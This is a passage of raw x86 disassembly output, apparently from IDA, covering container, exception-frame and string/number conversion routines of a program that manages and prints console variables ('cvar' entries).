Attributes: noreturn sub_40AAB0 proc near ; CODE XREF: sub_4011EFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_40AAB0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AAD0 proc near ; CODE XREF: sub_4013D9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_40AB9B mov ecx, esi call sub_4011F9 cmp edi, eax jnb short loc_40AB03 mov ecx, esi call sub_4011F9 mov ebp, eax jmp short loc_40AB05 ; --------------------------------------------------------------------------- loc_40AB03: ; CODE XREF: sub_40AAD0+26j mov ebp, edi loc_40AB05: ; CODE XREF: sub_40AAD0+31j mov ecx, esi call sub_4011F9 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401DE8 ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4010CD mov ecx, [esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_402194 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019B5 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_4011F9 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AB9B: ; CODE XREF: sub_40AAD0+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_40ABF9 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_402194 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401E8D mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40ABF9: ; CODE XREF: sub_40AAD0+D8j test edi, edi jbe short loc_40AC33 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4010CD mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_4020CC mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401E8D mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_40AC33: ; CODE XREF: sub_40AAD0+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_40AAD0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACA0 proc near ; CODE XREF: sub_4018C0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_1 pop ecx retn 4 sub_40ACA0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACC0 proc near ; CODE XREF: sub_4010CDj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_40ACF2 push edi mov edi, [esp+10h+arg_8] loc_40ACD6: ; CODE XREF: sub_40ACC0+27j push esi push edi mov ecx, ebx call sub_40213F add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_40ACD6 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40ACF2: ; CODE XREF: sub_40ACC0+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_40ACC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD10 proc near ; CODE XREF: sub_402194j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_40AD37 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_40AD26: ; CODE XREF: sub_40AD10+23j push ebx push esi mov ecx, ebp call sub_40213F add esi, 4 dec edi jnz short loc_40AD26 pop esi pop ebx loc_40AD37: ; CODE XREF: sub_40AD10+Aj pop edi pop ebp retn 0Ch sub_40AD10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AD50 proc near ; CODE XREF: sub_401DE8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_4014D8 sub_40AD50 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD80 proc near ; CODE XREF: sub_40213Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401E01 add esp, 8 retn 8 sub_40AD80 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ADB0 proc near ; CODE XREF: sub_401E8Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_40ADCD mov edx, [esp+arg_8] push esi loc_40ADC1: ; CODE XREF: sub_40ADB0+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_40ADC1 pop esi locret_40ADCD: ; CODE XREF: sub_40ADB0+Aj retn sub_40ADB0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ADE0 proc near ; CODE XREF: sub_4020CCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_40AE02 mov eax, [esp+arg_8] push esi loc_40ADF1: ; CODE XREF: sub_40ADE0+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_40ADF1 pop esi retn ; --------------------------------------------------------------------------- loc_40AE02: ; CODE XREF: sub_40ADE0+Aj mov eax, [esp+arg_8] retn sub_40ADE0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AE40 proc near ; CODE XREF: sub_4014D8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40AE4A xor eax, eax loc_40AE4A: ; CODE XREF: sub_40AE40+6j shl eax, 2 push eax call sub_437AEA sub_40AE40 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AE70 proc near ; CODE XREF: sub_401E01j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40AE8B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40AE8B: ; CODE XREF: sub_40AE70+11j retn sub_40AE70 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AEA0 proc near ; CODE XREF: sub_401E88j mov eax, ecx mov dword ptr [eax], offset off_43F014 retn sub_40AEA0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AEC0: ; CODE XREF: ___:00401721j ; ___:loc_402045j push esi mov esi, ecx call sub_40204F test byte ptr [esp+8], 1 jz short loc_40AED8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40AED8: ; CODE XREF: ___:0040AECDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AEF0 proc near ; CODE XREF: sub_40204Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40AEF0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi push edi mov dword ptr [ecx], offset off_43F014 mov [ebp+var_10], esp mov [ebp+var_4], 0 call sub_40174E loc_40AF21: ; DATA XREF: sub_40AF32o mov ecx, [ebp+var_C] pop edi pop esi mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40AEF0 endp ; =============== S U B R O U T I N E ======================================= sub_40AF32 proc near ; DATA XREF: ___:004401C4o mov eax, offset loc_40AF21 retn sub_40AF32 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AF60 proc near ; CODE XREF: sub_4014C4j call sub_401712 jmp sub_4017BC sub_40AF60 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AF80 proc near ; CODE XREF: sub_401B2Cj call sub_401627 jmp sub_4017CB sub_40AF80 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AFA0 proc near ; CODE XREF: sub_4013DEj push esi mov esi, ecx push esi push offset sub_401429 lea eax, [esi+0Ch] push 0 push eax call sub_40123A add esp, 10h test eax, eax jnz short loc_40AFC2 mov al, 1 mov [esi+10h], al pop esi retn ; --------------------------------------------------------------------------- loc_40AFC2: ; CODE XREF: sub_40AFA0+19j mov byte ptr [esi+10h], 0 xor al, al pop esi retn sub_40AFA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AFE0: ; CODE XREF: ___:004011C2j push ecx push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B007 mov ecx, [esi+0Ch] lea eax, [esp+4] push eax push ecx call sub_401767 mov eax, [esp+0Ch] add esp, 8 mov byte ptr [esi+10h], 0 pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_40B007: ; CODE XREF: ___:0040AFE9j xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B020 proc near ; CODE XREF: sub_40174Ej push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B03C mov eax, [esi+0Ch] push 0Fh push eax call sub_401762 add esp, 8 mov byte ptr [esi+10h], 0 loc_40B03C: ; CODE XREF: sub_40B020+8j pop esi retn sub_40B020 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B050: ; CODE XREF: ___:004011F4j mov eax, [ecx+0Ch] retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B070 proc near ; CODE XREF: sub_401429j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40B070 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov eax, [ecx] mov [ebp+var_10], esp mov [ebp+var_4], 0 call dword ptr [eax+4] loc_40B09E: ; DATA XREF: sub_40B0B1o mov ecx, [ebp+var_C] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40B070 endp ; =============== S U B R O U T I N E ======================================= sub_40B0B1 proc near ; DATA XREF: ___:00440224o mov eax, offset loc_40B09E retn sub_40B0B1 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B0E0 proc near ; CODE XREF: sub_401028j var_8 = dword ptr -8 var_4 = byte ptr -4 sub esp, 8 push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B122 mov edx, [esi+0Ch] lea eax, [esp+0Ch+var_8] lea ecx, [esp+0Ch+var_4] push eax push ecx push edx call sub_4021B2 mov edx, [esi+0Ch] mov eax, [esp+18h+var_8] lea ecx, [esp+18h+var_8] mov [esi+8], eax push ecx push 1 push edx mov [esp+24h+var_8], 0 call sub_401050 add esp, 18h loc_40B122: ; CODE XREF: sub_40B0E0+Bj pop esi add esp, 8 retn sub_40B0E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B150 proc near ; CODE XREF: sub_401DE3j var_4 = dword ptr -4 push ecx mov al, [ecx+10h] test al, al jz short loc_40B172 mov eax, [ecx+8] lea edx, [esp+4+var_4] mov [esp+4+var_4], eax mov eax, [ecx+0Ch] push edx push 1 push eax call sub_401050 add esp, 0Ch loc_40B172: ; CODE XREF: sub_40B150+6j pop ecx retn sub_40B150 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B190 proc near ; CODE XREF: sub_401A00j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B190 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+1Ch+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+1Ch+var_4], 1 call sub_401753 lea edi, [esi+8Eh] lea eax, [esp+1Ch+var_11] push eax mov ecx, edi mov byte ptr [esp+20h+var_4], 2 call sub_401C08 sub_40B190 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 3 mov dword ptr [esi], offset off_43F020 call sub_401C03 mov ecx, [esp+10h] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B250 proc near ; CODE XREF: sub_401AFAj var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B250 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push edi mov [esp+18h+var_10], esi mov dword ptr [esi], offset off_43F020 lea edi, [esi+8Eh] mov [esp+18h+var_4], 3 mov ecx, edi call sub_401C03 mov ecx, edi mov byte ptr [esp+18h+var_4], 2 call sub_40155F sub_40B250 endp ; --------------------------------------------------------------------------- lea ecx, [esi+60h] mov byte ptr [esp+14h], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+0Ch] pop edi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B2F0 proc near ; CODE XREF: sub_4017F8j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B2F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi mov esi, ecx lea ecx, [esi+8Eh] call sub_401C03 push 0 push 14h push 13h push 9 push 0Ch push 4Eh push 12h push 1 push 16h lea eax, [esp+64h+var_3C] push 3 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_40B2F0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 7 push 4Fh push 12h push 1 push 16h lea edx, [esp+24h] push 3 push edx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 13h push 4Eh push 12h push 1 push 16h lea ecx, [esp+3Ch] push 3 push ecx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017EE add esi, 60h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- mov dword ptr [esp+3Ch], 0FFFFFFFFh lea ecx, [esp+1Ch] call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B470 proc near ; CODE XREF: sub_40181Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_18 = dword ptr 1Ch mov eax, [esp+arg_4] push esi mov esi, ecx push edi mov ecx, [esp+8+arg_0] push eax add ecx, 1Eh call sub_401FDC mov eax, [esp+8+arg_0] mov edx, [esp+8+arg_C] push edx lea ecx, [eax+33h] call sub_401FDC mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_10] mov edi, [esp+8+arg_8] mov [ecx+48h], dl mov eax, [esp+8+arg_0] push edi push eax mov ecx, esi call sub_401F50 mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_14] push edi mov [ecx+4], dl mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_18] mov [eax+5], ecx mov ecx, [esp+0Ch+arg_0] call sub_401FDC lea edx, [esp+8+arg_0] lea ecx, [esi+8Eh] push edx call sub_401915 sub_40B470 endp ; --------------------------------------------------------------------------- pop edi pop esi retn 1Ch ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B510 proc near ; CODE XREF: sub_401B72j var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_40B510 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h mov eax, [esp+54h+arg_C] push ebp push esi mov esi, ecx push edi push eax lea ecx, [esp+64h+var_24] call sub_401870 mov edi, eax mov ecx, [esp+60h+arg_8] mov [esp+60h+var_4], 0 push ecx lea ecx, [esp+64h+var_3C] call sub_401870 mov ebp, eax mov edx, [esp+60h+arg_4] lea ecx, [esp+60h+var_54] push edx mov byte ptr [esp+64h+var_4], 1 call sub_401870 mov ecx, [esp+60h+arg_18] mov edx, [esp+60h+arg_14] push ecx mov ecx, [esp+64h+arg_10] push edx mov edx, [esp+68h+arg_0] push ecx push edi push ebp push eax push edx mov ecx, esi mov byte ptr [esp+7Ch+var_4], 2 call sub_40181B sub_40B510 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov byte ptr [esp+5Ch], 1 call sub_401226 lea ecx, [esp+24h] mov byte ptr [esp+5Ch], 0 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+5Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+54h] pop edi pop esi pop ebp mov large fs:0, ecx add esp, 54h retn 1Ch ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B600 proc near ; CODE XREF: sub_4019DDj var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_401546 add esi, 8Eh lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_40145B mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401C85 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jz short loc_40B681 mov edi, [esp+10h+arg_0] loc_40B646: ; CODE XREF: sub_40B600+7Fj push edi lea ecx, [esp+14h+var_8] call sub_401F78 mov ecx, [eax] add ecx, 1Eh call sub_4021D0 test eax, eax lea ecx, [esp+10h+var_8] jz short loc_40B68B call sub_40133E lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_401C85 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jnz short loc_40B646 loc_40B681: ; CODE XREF: sub_40B600+40j pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_40B68B: ; CODE XREF: sub_40B600+60j call sub_401F78 mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_40B600 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B6D0: ; CODE XREF: ___:00401460j push 0FFFFFFFFh push offset loc_439EF8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h mov eax, [esp+28h] push esi mov esi, ecx push eax lea ecx, [esp+8] call sub_401870 mov ecx, [esp+30h] mov dword ptr [esp+24h], 0 push ecx push eax mov ecx, esi call sub_4019DD lea ecx, [esp+4] mov esi, eax mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 24h retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B760 proc near ; CODE XREF: sub_4015A0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_4015E1 mov ecx, esi call sub_4017EE push eax nop call near ptr 77C1CF90h fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B7B1 mov byte ptr [esi+19h], 1 loc_40B7B1: ; CODE XREF: sub_40B760+4Bj pop esi retn 8 sub_40B760 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B7E0 proc near ; CODE XREF: sub_401F50j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] mov ecx, esi mov eax, [edi+9] push eax call sub_4015E1 mov ecx, esi call sub_4017EE push eax call near ptr 77C1CF90h nop fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B835 mov byte ptr [esi+19h], 1 loc_40B835: ; CODE XREF: sub_40B7E0+4Fj mov cl, [edi+4] mov [esi+4], cl mov edx, [edi+5] mov [esi+5], edx pop edi pop esi retn 8 sub_40B7E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B870: ; CODE XREF: ___:00401D57j fld dword ptr [esp+8] push esi mov esi, [esp+8] sub esp, 8 fstp qword ptr [esp] push offset aF ; "%f" push esi call sub_40102D mov eax, [esp+1Ch] add esp, 10h mov ecx, esi mov [esi+15h], eax call sub_4017EE push eax nop call near ptr 77C1BF18h fld dword ptr [esp+10h] fcomp flt_43F024 mov [esi+1Ah], eax add esp, 4 mov byte ptr [esi+19h], 0 fnstsw ax test ah, 1 jnz short loc_40B8C1 mov byte ptr [esi+19h], 1 loc_40B8C1: ; CODE XREF: ___:0040B8BBj pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B8F0: ; CODE XREF: ___:00401CA8j push ebx mov bl, [esp+0Ch] test bl, bl push esi jz short loc_40B920 mov esi, [esp+0Ch] push offset aTrue ; "true" mov ecx, esi call sub_4015E1 mov dword ptr [esi+15h], 3F800000h mov dword ptr [esi+1Ah], 1 mov [esi+19h], bl pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40B920: ; CODE XREF: ___:0040B8F8j mov esi, [esp+0Ch] push offset aFalse ; "false" mov ecx, esi call sub_4015E1 xor eax, eax mov [esi+19h], bl mov [esi+15h], eax mov [esi+1Ah], eax pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B960: ; CODE XREF: ___:00401D7Fj push esi mov esi, [esp+8] push edi mov edi, [esp+10h] push edi push offset dword_4447F4 push esi call sub_40102D fild dword ptr [esp+1Ch] add esp, 0Ch cmp edi, 1 mov [esi+1Ah], edi mov byte ptr [esi+19h], 0 fstp dword ptr [esi+15h] jl short loc_40B990 mov byte ptr [esi+19h], 1 loc_40B990: ; CODE XREF: ___:0040B98Aj pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B9B0: ; CODE XREF: ___:loc_401AE1j mov eax, large fs:0 push 0FFFFFFFFh push offset loc_439F30 push eax mov large fs:0, esp sub esp, 4Ch push ebx push ebp push esi mov esi, [esp+68h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BAF2 lea ebx, [esi+69h] mov ecx, ebx call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aCvar ; "(cvar)" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+6Ch] call sub_401546 add ebp, 8Eh lea edx, [esp+10h] push edx mov ecx, ebp xor edi, edi call sub_40145B mov eax, [eax] lea ecx, [esp+10h] push ecx mov ecx, ebp mov [esp+70h], eax call sub_401C85 push eax lea ecx, [esp+70h] call sub_40136B test al, al jz loc_40BAEB loc_40BA56: ; CODE XREF: ___:0040BAE5j lea ecx, [esp+6Ch] inc edi call sub_401F78 mov ecx, [eax] add ecx, 33h call sub_4017EE push eax lea ecx, [esp+70h] call sub_401F78 mov ecx, [eax] call sub_4017EE push eax lea ecx, [esp+74h] call sub_401F78 mov ecx, [eax] add ecx, 1Eh call sub_4017EE push eax push edi push offset aDSSS ; "[%d] \"%s\" = \"%s\" (\"%s\")" mov ecx, ebx call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 24h push 5DCh nop call near ptr 28502B8h lea ecx, [esp+6Ch] call sub_40133E lea ecx, [esp+10h] push ecx mov ecx, ebp call sub_401C85 push eax lea ecx, [esp+70h] call sub_40136B test al, al jnz loc_40BA56 loc_40BAEB: ; CODE XREF: ___:0040BA50j mov al, 1 jmp loc_40BC7A ; --------------------------------------------------------------------------- loc_40BAF2: ; CODE XREF: ___:0040B9E7j lea ecx, [ebp+32h] call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40BB85 push offset asc_444600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016B8 push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 0 call sub_4019DD lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BC78 mov ecx, edi call sub_4017EE push eax lea ecx, [edi+1Eh] call sub_4017EE push eax push offset aSS_5 ; "%s = \"%s\"" lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 1Ch jmp loc_40BC7A ; --------------------------------------------------------------------------- loc_40BB85: ; CODE XREF: ___:0040BB04j lea ecx, [ebp+60h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BC78 push offset asc_444600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016B8 push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 1 